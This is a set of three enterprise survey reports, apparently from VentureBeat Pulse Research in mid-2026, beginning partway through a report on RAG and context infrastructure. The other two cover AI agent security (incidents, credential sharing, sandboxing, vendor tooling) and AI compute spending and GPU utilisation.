By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.
At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.
Finding 1: Confident and wrong
More than half have traced agent errors to bad context
We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.
This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. 
The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.
Finding 2: RAG is the default context source
Retrieval feeds more agents than any other method
We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.
Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.
One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.
Finding 3: Provider-native retrieval already leads the vector databases
OpenAI file search and vertex AI search top the dedicated tools
We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.
The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.
The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.
Finding 4: But they say they want to keep best-of-breed
A plurality resist consolidating onto a provider’s native stack
We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.
Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.
Finding 5: Hybrid retrieval is the consensus bet
Vector-only retrieval is already seen as insufficient
We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.
The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.
Finding 6: The governed context layer is being built now
Most run or are building a semantic layer — few in production
We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.
The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.
Finding 7: Bought on ingestion and simplicity, watched for correctness
Selection favors operability; monitoring favors correctness and security
We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.
Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). 
Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.
Finding 8: A retrieval reshuffle is coming
A majority plan to change providers — and the vector specialists are gaining interest
We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.
The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.
The bottom line: A context gap that more retrieval alone won’t close
Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.
The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.
Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.


The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials
Thu, 23 Jul 2026 19:19:41 +0200
Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.
This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.
The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.
What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.
By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).
At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.
Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.
Finding 1: The incidents are already here
More than half have had an agent security incident or near-miss
We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.
This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.
Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.
Finding 2: The identity gap
Only a third give every agent its own scoped identity
We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.
Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) 
The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.
Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.
Finding 3: Observe and enforce, but rarely isolate
Only three in 10 sandbox their highest-risk agents
We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.
Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.
Finding 4: Security runs on borrowed, provider-native controls
Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register
We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.
Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.
The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.
(A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)
Finding 5: And enterprises are comfortable with it
Satisfaction is high, even as incidents mount and identity lags
We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.
Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.
Finding 6: Budgets haven’t caught up
Most spend under a tenth of the security budget on agents
We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.
Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.
Finding 7: The arms race is even, at best
Only a third think their AI defenses are ahead of AI-enabled attackers
We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.
Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.
Finding 8: A security reshuffle is coming
Nearly six in 10 plan to adopt or switch tooling within a year
We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.
The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. 
Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.
The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. 
What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.
The bottom line: A security gap that autonomy will test first
Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.
The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.
Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.


The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs
Thu, 23 Jul 2026 19:19:39 +0200
Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.
This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.
The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.
Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.
By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).
At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.
Finding 1: Ambition outpaces production
Only one in five run AI in production at scale
We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.
The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.
Finding 2: Enterprises run on hyperscalers and model APIs
The specialized GPU clouds barely register — today
We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.
The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.
(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)
Finding 3: The next dollar goes to infrastructure they don’t yet run
AI-specialized clouds top the evaluations list
We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.
Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.
This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.
Finding 4: A switching wave is building
Six in 10 plan to change providers within a year — many within a quarter
We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.
For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.
(Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.)
Finding 5: Nobody buys on token price
Integration and total cost of ownership decide — not sticker price
We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.
Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.
Finding 6: Expensive GPUs, idle most of the time
83% report GPU utilization of 50% or less
We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.
Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%
The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.
Finding 7: Spending fast, measuring slowly
Fewer than half rigorously track what their compute costs
We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.
Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.
Finding 8: The next bottleneck few are watching
As inference shifts from compute to memory, the field scatters
Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.
The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.
The bottom line: A compute gap that faster spending will widen, not close
Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.
The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.
Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.


